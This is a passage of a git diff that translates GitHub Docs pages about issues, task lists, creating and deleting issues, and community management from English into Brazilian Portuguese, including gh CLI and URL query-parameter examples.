-To stay updated on the most recent comments in an issue, you can subscribe to an issue to receive notifications about the latest comments. To quickly find links to recently updated issues you're subscribed to, visit your dashboard. For more information, see {% ifversion fpt or ghes or ghae or ghec %}"[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[About notifications](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}" and "[About your personal dashboard](/articles/about-your-personal-dashboard)."
+## Mantenha-se atualizado
 
-## Community management
+Para manter-se atualizado sobre os comentários mais recentes em um problema, você pode assinar um problema para receber notificações sobre os comentários mais recentes. Para encontrar links para problemas atualizados recentemente nos quais você está inscrito, visite seu painel. Para mais informações, consulte {% ifversion fpt or ghes or ghae or ghec %}"[Sobre notificações](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[Sobre notificações](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}" e "[Sobre o seu painel pessoal](/articles/about-your-personal-dashboard)".
 
-To help contributors open meaningful issues that provide the information that you need, you can use {% ifversion fpt or ghec %}issue forms and {% endif %}issue templates. For more information, see "[Using templates to encourage useful issues and pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)."
+## Gerenciamento da comunidade
 
-{% ifversion fpt or ghec %}To maintain a healthy community, you can report comments that violate {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines). For more information, see "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)."{% endif %}
+Para ajudar os colaboradores a abrir problemas significativos que fornecem as informações de que você precisa, você pode usar {% ifversion fpt or ghec %}formulários de problemas e {% endif %}modelos de problema. Para obter mais informações, consulte "[Usar modelos para incentivar problemas úteis e pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)".
 
-## Efficient communication
+{% ifversion fpt or ghec %}Para manter uma comunidade saudável, pode relatar comentários que violam as [diretrizes da comunidade](/free-pro-team@latest/github/site-policy/github-community-guidelines) de {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Relatar abuso ou spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)".{% endif %}
 
-You can @mention collaborators who have access to your repository in an issue to draw their attention to a comment. To link related issues in the same repository, you can type `#` followed by part of the issue title and then clicking the issue that you want to link. To communicate responsibility, you can assign issues. If you find yourself frequently typing the same comment, you can use saved replies.
-{% ifversion fpt or ghec %} For more information, see "[Basic writing and formatting syntax](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)" and "[Assigning issues and pull requests to other GitHub users](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users)."
+## Comunicação eficiente
 
-## Comparing issues and discussions
+Você pode @mencionar colaboradores com acesso ao seu repositório em um problema para chamar a atenção para um comentário. Para vincular problemas relacionados no mesmo repositório, você pode digitar `#` seguido de parte do título do problema e, em seguida, clicar no problema que você deseja vincular. Para comunicar responsabilidade, você pode atribuir problemas. Se você se encontrar, frequentemente, digitando o mesmo comentário, você poderá usar as respostas salvas.
+{% ifversion fpt or ghec %} Para mais informações, consulte "[Sintaxe básica de escrita e formatação](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)" e "[Atribuindo problemas e pull requests a outros usuários do GitHub](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users)"
 
-Some conversations are more suitable for {% data variables.product.prodname_discussions %}. {% data reusables.discussions.you-can-use-discussions %} For guidance on when to use an issue or a discussion, see "[Communicating on GitHub](/github/getting-started-with-github/quickstart/communicating-on-github)."
+## Comparando problemas e discussões
 
-When a conversation in an issue is better suited for a discussion, you can convert the issue to a discussion.
+Algumas conversas são mais adequadas para {% data variables.product.prodname_discussions %}. {% data reusables.discussions.you-can-use-discussions %} Para orientação sobre quando usar um problema ou discussão, consulte "[Comunicar com o GitHub](/github/getting-started-with-github/quickstart/communicating-on-github)".
+
+Quando uma conversa em um problema é mais adequada para uma discussão, você pode converter a questão em uma discussão.
 {% endif %}
diff --git a/translations/pt-BR/content/issues/tracking-your-work-with-issues/about-task-lists.md b/translations/pt-BR/content/issues/tracking-your-work-with-issues/about-task-lists.md
index 117c5eadfc..2990504d16 100644
--- a/translations/pt-BR/content/issues/tracking-your-work-with-issues/about-task-lists.md
+++ b/translations/pt-BR/content/issues/tracking-your-work-with-issues/about-task-lists.md
@@ -1,6 +1,6 @@
 ---
-title: About task lists
-intro: 'You can use task lists to break the work for an issue or pull request into smaller tasks, then track the full set of work to completion.'
+title: Sobre listas de tarefas
+intro: 'Você pode usar listas de tarefas para dividir o trabalho de um problema ou pull request em tarefas menores e, em seguida, rastrear o conjunto completo de trabalho a ser concluído.'
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-task-lists
   - /articles/about-task-lists
@@ -19,56 +19,56 @@ topics:
 {% ifversion fpt or ghec %}
 {% note %}
 
-**Note:** Improved task lists are currently in beta and subject to change.
+**Observação:** A lista de tarefas melhorada está atualmente na versão beta e sujeita a alterações.
 
 {% endnote %}
 {% endif %}
 
-## About task lists
+## Sobre listas de tarefas
 
-A task list is a set of tasks that each render on a separate line with a clickable checkbox. You can select or deselect the checkboxes to mark the tasks as complete or incomplete. 
+Uma lista de tarefas é um conjunto de tarefas que cada uma interpreta em uma linha separada com uma caixa de seleção clicável. Você pode selecionar ou desmarcar as caixas de seleção para marcar as tarefas como concluídas ou não concluídas.
 
-You can use Markdown to create a task list in any comment on {% data variables.product.product_name %}. {% ifversion fpt or ghec %}If you reference an issue, pull request, or discussion in a task list, the reference will unfurl to show the title and state.{% endif %} 
+Você pode usar Markdown para criar uma lista de tarefas em qualquer comentário em {% data variables.product.product_name %}. {% ifversion fpt or ghec %}Se você fizer referência a um problema, pull request, ou discussão em uma lista de tarefas, a referência irá desenrolar-se para mostrar o título e o estado.{% endif %}
 
-{% ifversion not fpt or ghec %} 
-You can view task list summary information in issue and pull request lists, when the task list is in the initial comment.
+{% ifversion not fpt or ghec %}
+Você poderá exibir informações de resumo da lista de tarefas nas listas de problemas e pull requests quando a lista de tarefas estiver no comentário inicial.
 {% else %}
 
-## About issue task lists
+## Sobre listas de tarefas do problema
 
-If you add a task list to the body of an issue, the list has added functionality.
+Se você adicionar uma lista de tarefas ao texto de um problema, isso significa que a lista adicionou a funcionalidade.
 
-- To help you track your team's work on an issue, the progress of an issue's task list appears in various places on {% data variables.product.product_name %}, such as a repository's list of issues.
-- If a task references another issue and someone closes that issue, the task's checkbox will automatically be marked as complete. 
-- If a task requires further tracking or discussion, you can convert the task to an issue by hovering over the task and clicking {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. To add more details before creating the issue, you can use keyboard shortcuts to open the new issue form. For more information, see "[Keyboard shortcuts](/github/getting-started-with-github/using-github/keyboard-shortcuts#issues-and-pull-requests)."
-- Any issues referenced in the task list will specify that they are tracked in the referencing issue.
+- Para ajudar você a acompanhar o trabalho da sua equipe em um problema, o progresso da lista de tarefas de um problema aparece em vários lugares em {% data variables.product.product_name %} como, por exemplo, em uma lista de problemas de um repositório.
+- Se uma tarefa fizer referência a outro problema e alguém fechar esse problema, a caixa de seleção da tarefa será automaticamente marcada como concluída.
+- Se uma tarefa exigir mais rastreamento ou discussão, você poderá convertê-la em um problema, passando o mouse sobre a tarefa e clicando em {% octicon "issue-opened" aria-label="The issue opened icon" %} no canto superior direito da tarefa. Para adicionar mais detalhes antes de criar o problema, você pode usar atalhos de teclado para abrir o formulário do novo problema. Para obter mais informações, consulte "[Atalhos de teclado](/github/getting-started-with-github/using-github/keyboard-shortcuts#issues-and-pull-requests)".
+- Quaisquer problemas referenciados na lista de tarefas especificarão que são rastreados no problema de referência.
 
-![Rendered task list](/assets/images/help/writing/task-list-rendered.png)
+![Lista de tarefas gerada](/assets/images/help/writing/task-list-rendered.png)
 
 {% endif %}
 
-## Creating task lists
+## Criar listas de tarefas
 
 {% data reusables.repositories.task-list-markdown %}
 
-## Reordering tasks
+## Reordenar tarefas
 
-You can reorder the items in a task list by clicking to the left of a task's checkbox, dragging the task to a new location, and dropping the task. You can reorder tasks across different lists in the same comment, but you can not reorder tasks across different comments.
+Você pode reordenar os itens de uma lista de tarefas clicando à esquerda da caixa de seleção de uma tarefa arrastando a tarefa para uma nova localidade e soltando a tarefa. Você pode reordenar tarefas em diferentes listas no mesmo comentário, mas você não pode reordenar tarefas em diferentes comentários.
 
-{% ifversion fpt %} ![Reordered task list](/assets/images/help/writing/task-list-reordered.gif)
+{% ifversion fpt %} ![Lista de tarefas reordenadas](/assets/images/help/writing/task-list-reordered.gif)
 {% else %} ![Reordered task list](/assets/images/enterprise/writing/task-lists-reorder.gif) {% endif %}
 
 {% ifversion fpt %}
 
-## Navigating tracked issues
+## Navegação de problemas monitorizados
 
-Any issues that are referenced in a task list specify that they are tracked by the issue that contains the task list. To navigate to the tracking issue from the tracked issue, click on the tracking issue number in the **Tracked in** section next to the issue status.
+Todos os problemas referenciados em uma lista de tarefas especificam que são acompanhados pelo problema que contém a lista de tarefas. Para Acessar o problema de rastreamento a partir do problema rastreado, clique no número de rastreamento do **Rastreado na seção** ao lado do status do problema.
 
-![Tracked in example](/assets/images/help/writing/task_list_tracked.png)
+![Rastreado no exemplo](/assets/images/help/writing/task_list_tracked.png)
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-* "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)"{% ifversion fpt or ghes > 3.3 or ghae-issue-5036 %}
-* "[Tracking {% data variables.product.prodname_code_scanning %} alerts in issues using task lists](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists)"{% endif %}
\ No newline at end of file
+* "[Escrita básica e sintaxe de formatação](/articles/basic-writing-and-formatting-syntax)"{% ifversion fpt or ghes > 3.3 or ghae-issue-5036 %}
+* "[Rastreando alertas de {% data variables.product.prodname_code_scanning %} em problemas que usam listas de tarefas](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists)"{% endif %}
diff --git a/translations/pt-BR/content/issues/tracking-your-work-with-issues/creating-an-issue.md b/translations/pt-BR/content/issues/tracking-your-work-with-issues/creating-an-issue.md
index d4ad5f88ae..284e9dd2fb 100644
--- a/translations/pt-BR/content/issues/tracking-your-work-with-issues/creating-an-issue.md
+++ b/translations/pt-BR/content/issues/tracking-your-work-with-issues/creating-an-issue.md
@@ -1,6 +1,6 @@
 ---
-title: Creating an issue
-intro: 'Issues can be created in a variety of ways, so you can choose the most convenient method for your workflow.'
+title: Criar um problema
+intro: 'Os problemas podem ser criados de várias maneiras. Portanto, você pode escolher o método mais conveniente para seu fluxo de trabalho.'
 permissions: 'People with read access can create an issue in a repository where issues are enabled. {% data reusables.enterprise-accounts.emu-permission-repo %}'
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/creating-an-issue
@@ -27,141 +27,131 @@ topics:
   - Pull requests
   - Issues
   - Project management
-shortTitle: Create an issue
+shortTitle: Cria um problema
 type: how_to
 ---
 
-Issues can be used to keep track of bugs, enhancements, or other requests. For more information, see "[About issues](/issues/tracking-your-work-with-issues/about-issues)."
+Os problemas podem ser usados para acompanhar erros, aprimoramentos ou outras solicitações. Para obter mais informações, consulte "[Sobre problemas](/issues/tracking-your-work-with-issues/about-issues)".
 
 {% data reusables.repositories.administrators-can-disable-issues %}
 
-## Creating an issue from a repository
+## Criar um problema a partir de um repositório
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issues %}
 {% data reusables.repositories.new_issue %}
-1. If your repository uses issue templates, click **Get started** next to the type of issue you'd like to open.
-  ![Select the type of issue you want to create](/assets/images/help/issues/issue_template_get_started_button.png)
-   Or, click **Open a blank issue** if the type of issue you'd like to open isn't included in the available options.
-  ![Link to open a blank issue](/assets/images/help/issues/blank_issue_link.png)
+1. Se o seu repositório usar modelos de problemas, clique em **Começar** ao lado do tipo de problema que você gostaria de abrir. ![Select the type of issue you want to create](/assets/images/help/issues/issue_template_get_started_button.png) Ou, clique **Abrir um problema em branco** se o tipo de problema que você gostaria de abrir não estiver incluído nas opções disponíveis. ![Link para abrir um problema em branco](/assets/images/help/issues/blank_issue_link.png)
 {% data reusables.repositories.type-issue-title-and-description %}
 {% data reusables.repositories.assign-an-issue-as-project-maintainer %}
 {% data reusables.repositories.submit-new-issue %}
 
-## Creating an issue with {% data variables.product.prodname_cli %}
+## Criando um problema com {% data variables.product.prodname_cli %}
 
-{% data reusables.cli.about-cli %} To learn more about {% data variables.product.prodname_cli %}, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+{% data reusables.cli.about-cli %} Para saber mais sobre {% data variables.product.prodname_cli %}, consulte "[Sobre {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
 
-To create an issue, use the `gh issue create` subcommand. To skip the interactive prompts, include the `--body` and the `--title` flags.
+Para criar um problema, use o subcomando `gh issue create`. Para ignorar as instruções interativas, inclua os sinalizadores `--body` e `--title`.
 
 ```shell
 gh issue create --title "My new issue" --body "Here are more details."
 ```
 
-You can also specify assignees, labels, milestones, and projects.
+Você também pode especificar responsáveis, etiquetas, marcos e projetos.
 
 ```shell
 gh issue create --title "My new issue" --body "Here are more details." --assignee @me,monalisa --label "bug,help wanted" --project onboarding --milestone "learning codebase"
 ```
 
-## Creating an issue from a comment
+## Criando um problema a partir de um comentário
 
-You can open a new issue from a comment in an issue or pull request. When you open an issue from a comment, the issue contains a snippet showing where the comment was originally posted.
+Você pode abrir um novo problema a partir de um comentário em um problema ou pull request. Quando você abre um problema a partir de um comentário, o problema contém um trecho mostrando onde o comentário foi originalmente publicado.
 
-1. Navigate to the comment that you would like to open an issue from.
-2. In that comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
-  ![Kebab button in pull request review comment](/assets/images/help/pull_requests/kebab-in-pull-request-review-comment.png)
-3. Click **Reference in new issue**.
-  ![Reference in new issue menu item](/assets/images/help/pull_requests/reference-in-new-issue.png)
-4. Use the "Repository" drop-down menu, and select the repository you want to open the issue in.
-  ![Repository dropdown for new issue](/assets/images/help/pull_requests/new-issue-repository.png)
-5. Type a descriptive title and body for the issue.
-  ![Title and body for new issue](/assets/images/help/pull_requests/new-issue-title-and-body.png)
-6. Click **Create issue**.
-  ![Button to create new issue](/assets/images/help/pull_requests/create-issue.png)
+1. Acesse o comentário que você deseja abrir a partir de um problema.
+2. No comentário, clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.![Botão de kebab no comentário de revisão de pull request](/assets/images/help/pull_requests/kebab-in-pull-request-review-comment.png)
+3. Clique em **Reference in new issue** (Referência em um novo problema). ![Item de menu Reference in new issue (Referência em um novo problema)](/assets/images/help/pull_requests/reference-in-new-issue.png)
+4. Use o menu suspenso "Repository" (Repositório) para selecionar o repositório em que deseja abrir o problema. ![Menu suspenso Repository (Repositório) para o novo problema](/assets/images/help/pull_requests/new-issue-repository.png)
+5. Digite um título descritivo e o texto do problema. ![Título e texto do novo problema](/assets/images/help/pull_requests/new-issue-title-and-body.png)
+6. Clique em **Create issue** (Criar problema). ![Botão para criar novo problema](/assets/images/help/pull_requests/create-issue.png)
 {% data reusables.repositories.assign-an-issue-as-project-maintainer %}
 {% data reusables.repositories.submit-new-issue %}
 
-## Creating an issue from code
+## Criando um problema a partir do código
 
-You can open a new issue from a specific line or lines of code in a file or pull request. When you open an issue from code, the issue contains a snippet showing the line or range of code you chose. You can only open an issue in the same repository where the code is stored.
+É possível abrir um problema novo a partir de uma linha ou linhas específicas de código em um arquivo ou pull request. Quando você abre um problema de código, o problema contém um trecho mostrando a linha ou intervalo de código que você escolheu. Você pode abrir somente um problema no mesmo repositório onde o código é armazenado.
 
-![Code snippet rendered in an issue opened from code](/assets/images/help/repository/issue-opened-from-code.png)
+![Trecho de código fornecido em um problema aberto de código](/assets/images/help/repository/issue-opened-from-code.png)
 
 {% data reusables.repositories.navigate-to-repo %}
-1. Locate the code you want to reference in an issue:
-    - To open an issue about code in a file, navigate to the file.
-    - To open an issue about code in a pull request, navigate to the pull request and click {% octicon "diff" aria-label="The file diff icon" %} **Files changed**. Then, browse to the file that contains the code you want included in your comment, and click **View**.
+1. Localize o código que deseja referenciar em um problema:
+    - Para abrir um problema sobre código em um arquivo, navegue até o arquivo.
+    - Para abrir um problema sobre código em uma pull request, navegue até a pull request e clique em {% octicon "diff" aria-label="The file diff icon" %} **Files changed** (Arquivos alterados). Em seguida, acesse o arquivo que contém o código que você deseja que seja incluído no seu comentário e clique em **Visualizar**.
 {% data reusables.repositories.choose-line-or-range %}
-4. To the left of the code range, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}. In the drop-down menu, click **Reference in new issue**.
-  ![Kebab menu with option to open a new issue from a selected line](/assets/images/help/repository/open-new-issue-specific-line.png)
+4. À esquerda do intervalo do código, clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}. No menu suspenso, clique em **Referência em um novo problema**. ![Menu kebab com opção para abrir um novo problema a partir de uma linha selecionada](/assets/images/help/repository/open-new-issue-specific-line.png)
 {% data reusables.repositories.type-issue-title-and-description %}
 {% data reusables.repositories.assign-an-issue-as-project-maintainer %}
 {% data reusables.repositories.submit-new-issue %}
 
 {% ifversion fpt or ghec %}
 
-## Creating an issue from discussion
+## Criando um problema da discussão
 
-People with triage permission to a repository can create an issue from a discussion.
+As pessoas com permissão de triagem para um repositório podem criar um problema a partir de uma discussão.
 
-When you create an issue from a discussion, the contents of the discussion post will be automatically included in the issue body, and any labels will be retained. Creating an issue from a discussion does not convert the discussion to an issue or delete the existing discussion. For more information about {% data variables.product.prodname_discussions %}, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."
+Ao criar um problema a partir de uma discussão, o conteúdo da postagem na discussão será automaticamente incluído no texto do problema e todas as etiquetas serão mantidas. A criação de um problema a partir de uma discussão não converte a discussão em um problema ou exclui a discussão existente. Para obter mais informações sobre {% data variables.product.prodname_discussions %}, consulte "[Sobre discussões "](/discussions/collaborating-with-your-community-using-discussions/about-discussions)".
 
 {% data reusables.discussions.discussions-tab %}
 {% data reusables.discussions.click-discussion-in-list %}
-1. In the right sidebar, click {% octicon "issue-opened" aria-label="The issues icon" %} **Create issue from discussion**.
-   ![Button to create issue from discussion](/assets/images/help/discussions/create-issue-from-discussion.jpg)
+1. Na barra lateral direita, clique em {% octicon "issue-opened" aria-label="The issues icon" %} **Criar problema a partir da discussão**. ![Botão para criar um problema da discussão](/assets/images/help/discussions/create-issue-from-discussion.jpg)
 {% data reusables.repositories.type-issue-title-and-description %}
 {% data reusables.repositories.assign-an-issue-as-project-maintainer %}
 {% data reusables.repositories.submit-new-issue %}
 
 {% endif %}
 
-## Creating an issue from a project board note
+## Criando um problema a partir de uma observação do quadro de projeto
 
-If you're using a project board to track and prioritize your work, you can convert project board notes to issues. For more information, see "[About project boards](/github/managing-your-work-on-github/about-project-boards)" and "[Adding notes to a project board](/github/managing-your-work-on-github/adding-notes-to-a-project-board#converting-a-note-to-an-issue)."
+Se estiver usando um quadro de projeto para rastrear e priorizar seu trabalho, você poderá converter observações do quadro de projeto em problemas. Para obter mais informações, consulte "[Sobre quadros de projeto](/github/managing-your-work-on-github/about-project-boards)" e "[Adicionando observações a um quadro de projeto](/github/managing-your-work-on-github/adding-notes-to-a-project-board#converting-a-note-to-an-issue)".
 
 {% ifversion fpt or ghec %}
 
-## Creating an issue from a task list item
+## Criando uma problema a partir de um item da lista de tarefas
 
-Within an issue, you can use task lists to break work into smaller tasks and track the full set of work to completion. If a task requires further tracking or discussion, you can convert the task to an issue by hovering over the task and clicking {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."
+Dentro de um problema, você pode usar as listas de tarefas para dividir o trabalho em tarefas menores e acompanhar o conjunto completo de trabalho a ser concluído. Se uma tarefa exigir mais rastreamento ou discussão, você poderá convertê-la em um problema, passando o mouse sobre a tarefa e clicando em {% octicon "issue-opened" aria-label="The issue opened icon" %} no canto superior direito da tarefa. Para obter mais informações, consulte "[Sobre listas de tarefas](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)".
 
 {% endif %}
 
-## Creating an issue from a URL query
+## Criando um problema a partir de uma consulta de URL
 
-You can use query parameters to open issues. Query parameters are optional parts of a URL you can customize to share a specific web page view, such as search filter results or an issue template on {% data variables.product.prodname_dotcom %}. To create your own query parameters, you must match the key and value pair.
+Você pode usar parâmetros de consulta para abrir problemas. Os parâmetros de consulta são partes opcionais de uma URL que podem ser personalizadas para compartilhar uma exibição de página web específica, como resultados do filtro de pesquisa ou um modelo de problemas no {% data variables.product.prodname_dotcom %}. Para criar seus próprios parâmetros de consulta, você deve corresponder o par de chave e valor.
 
 {% tip %}
 
-**Tip:** You can also create issue templates that open with default labels, assignees, and an issue title. For more information, see "[Using templates to encourage useful issues and pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)."
+**Dica:** também é possível criar modelos de problemas que são abertos com etiquetas padrão, responsáveis e um título para o problema. Para obter mais informações, consulte "[Usar modelos para incentivar problemas úteis e pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)".
 
 {% endtip %}
 
-You must have the proper permissions for any action to use the equivalent query parameter. For example, you must have permission to add a label to an issue to use the `labels` query parameter. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Você deve ter as permissões adequadas para qualquer ação para usar o parâmetro de consulta equivalente. Por exemplo, é preciso ter permissão para adicionar uma etiqueta a um problema para usar o parâmetro de consulta `label`. Para obter mais informações, consulte "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
-If you create an invalid URL using query parameters, or if you don’t have the proper permissions, the URL will return a `404 Not Found` error page. If you create a URL that exceeds the server limit, the URL will return a `414 URI Too Long` error page.
+Se você criar uma URL inválida usando parâmetros de consulta, ou se você não tiver as permissões adequadas, a URL retornará uma página de erro `404 Not Found`. Se você criar uma URL que excede o limite do servidor, a URL retornará uma página de erro de `414 URI Too Long`.
 
-Query parameter | Example
----  | ---
-`title` | `https://github.com/octo-org/octo-repo/issues/new?labels=bug&title=New+bug+report` creates an issue with the label "bug" and title "New bug report."
-`body` | `https://github.com/octo-org/octo-repo/issues/new?title=New+bug+report&body=Describe+the+problem.` creates an issue with the title "New bug report" and the comment "Describe the problem" in the issue body.
-`labels` | `https://github.com/octo-org/octo-repo/issues/new?labels=help+wanted,bug` creates an issue with the labels "help wanted" and "bug".
-`milestone` | `https://github.com/octo-org/octo-repo/issues/new?milestone=testing+milestones` creates an issue with the milestone "testing milestones."
-`assignees` | `https://github.com/octo-org/octo-repo/issues/new?assignees=octocat` creates an issue and assigns it to @octocat.
-`projects` | `https://github.com/octo-org/octo-repo/issues/new?title=Bug+fix&projects=octo-org/1` creates an issue with the title "Bug fix" and adds it to the organization's project board 1.
-`template` | `https://github.com/octo-org/octo-repo/issues/new?template=issue_template.md` creates an issue with a template in the issue body. The `template` query parameter works with templates stored in an `ISSUE_TEMPLATE` subdirectory within the root, `docs/` or `.github/` directory in a repository. For more information, see "[Using templates to encourage useful issues and pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)."
+| Parâmetro de consulta | Exemplo                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| --------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `title`               | `https://github.com/octo-org/octo-repo/issues/new?labels=bug&title=New+bug+report` cria um problema com a etiqueta "erro" e o título "Novo relatório de erros".                                                                                                                                                                                                                                                                                                                                 |
+| `texto`               | `https://github.com/octo-org/octo-repo/issues/new?title=New+bug+report&body=Describe+the+problem.` cria um problema com o título "Novo relatório de erro" e o comentário "Descreva o problema" no texto do problema.                                                                                                                                                                                                                                                                            |
+| `etiquetas`           | `https://github.com/octo-org/octo-repo/issues/new?labels=help+wanted,bug` cria um problema com as etiquetas "help wanted" e "bug".                                                                                                                                                                                                                                                                                                                                                                  |
+| `marco`               | `https://github.com/octo-org/octo-repo/issues/new?milestone=testing+milestones` cria um problema com o marco "marcos de teste".                                                                                                                                                                                                                                                                                                                                                                     |
+| `assignees`           | `https://github.com/octo-org/octo-repo/issues/new?assignees=octocat` cria um problema e o atribui a @octocat.                                                                                                                                                                                                                                                                                                                                                                                       |
+| `projetos`            | `https://github.com/octo-org/octo-repo/issues/new?title=Bug+fix&projects=octo-org/1` cria um problema com o título "Correção de erro" e o adiciona ao quadro de projeto 1 da organização.                                                                                                                                                                                                                                                                                                       |
+| `modelo`              | `https://github.com/octo-org/octo-repo/issues/new?template=issue_template.md` cria um problema com um modelo no texto do problema. O parâmetro de consulta `template` funciona com modelos armazenados em um subdiretório `ISSUE_TEMPLATE` dentro da raiz, `docs/` ou diretório do `.github/` em um repositório. Para obter mais informações, consulte "[Usar modelos para incentivar problemas úteis e pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)". |
 
 {% ifversion fpt or ghes > 3.3 or ghae-issue-5036 %}
-## Creating an issue from a {% data variables.product.prodname_code_scanning %} alert
+## Criando uma issue de um alerta de {% data variables.product.prodname_code_scanning %}
 
 {% data reusables.code-scanning.beta-alert-tracking-in-issues %}
-If you're using issues to track and prioritize your work, you can use issues to track {% data variables.product.prodname_code_scanning %} alerts.
+Se você está usando problemas para rastrear e priorizar seu trabalho, você pode usar problemas para acompanhar os alertas de {% data variables.product.prodname_code_scanning %}.
 {% data reusables.code-scanning.alert-tracking-link %}
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Writing on GitHub](/github/writing-on-github)"
+- "[Escrevendo no GitHub](/github/writing-on-github)"
diff --git a/translations/pt-BR/content/issues/tracking-your-work-with-issues/deleting-an-issue.md b/translations/pt-BR/content/issues/tracking-your-work-with-issues/deleting-an-issue.md
index a23f051cf7..0ccd602b54 100644
--- a/translations/pt-BR/content/issues/tracking-your-work-with-issues/deleting-an-issue.md
+++ b/translations/pt-BR/content/issues/tracking-your-work-with-issues/deleting-an-issue.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting an issue
-intro: People with admin permissions in a repository can permanently delete an issue from a repository.
+title: Excluir um problema
+intro: Pessoas com permissões de administrador em um repositório podem excluir permanentemente um problema de um repositório.
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/deleting-an-issue
   - /articles/deleting-an-issue
@@ -14,17 +14,17 @@ versions:
 topics:
   - Pull requests
 ---
-You can only delete issues in a repository owned by your user account. You cannot delete issues in a repository owned by another user account, even if you are a collaborator there.
 
-To delete an issue in a repository owned by an organization, an organization owner must enable deleting an issue for the organization's repositories, and you must have admin or owner permissions in the repository. For more information, see "[Allowing people to delete issues in your organization](/articles/allowing-people-to-delete-issues-in-your-organization)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Você só pode excluir problemas em um repositório que pertença à sua conta de usuário. Não é possível excluir problemas em um repositório pertencente a outra conta de usuário, mesmo que você seja um colaborador nela.
 
-Collaborators do not receive a notification when you delete an issue. When visiting the URL of a deleted issue, collaborators will see a message stating that the issue is deleted. People with admin or owner permissions in the repository will additionally see the username of the person who deleted the issue and when it was deleted.
+Para excluir um problema em um repositório que pertença a uma organização, o proprietário da organização deve permitir a exclusão de um problema dos repositórios da organização e você deve ter permissões de administrador ou de proprietário no repositório. Para obter mais informações, consulte "[Permitindo que pessoas excluam problemas na sua organização](/articles/allowing-people-to-delete-issues-in-your-organization)" e "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
-1. Navigate to the issue you want to delete.
-2. On the right side bar, under "Notifications", click **Delete issue**.
-!["Delete issue" text highlighted on bottom of the issue page's right side bar](/assets/images/help/issues/delete-issue.png)
-4. To confirm deletion, click **Delete this issue**.
+Os colaboradores não recebem uma notificação quando você exclui um problema. Ao acessarem a URL de um problema excluído, os colaboradores verão uma mensagem informando que o problema foi eliminado. As pessoas com permissões de administrador ou proprietário no repositório também verão o nome de usuário da pessoa que excluiu o problema e quando isso ocorreu.
 
-## Further reading
+1. Navegue até o problema que deseja excluir.
+2. Na barra lateral direita, em "Notifications" (Notificações), clique em **Delete this issue** (Excluir este problema). !["Excluir problema" texto destacado na barra lateral direita ao final da página de problema](/assets/images/help/issues/delete-issue.png)
+4. Para confirmar a exclusão, clique em **Delete this issue** (Excluir problema).
 
-- "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)"
+## Leia mais
+
+- "[Vinculando uma pull request a um problema](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)"
diff --git a/translations/pt-BR/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md b/translations/pt-BR/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
index 2b2ad52ec4..5c2a3add51 100644
--- a/translations/pt-BR/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
+++ b/translations/pt-BR/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
@@ -1,6 +1,6 @@
 ---
-title: Filtering and searching issues and pull requests
-intro: 'To find detailed information about a repository on {% data variables.product.product_name %}, you can filter, sort, and search issues and pull requests that are relevant to the repository.'
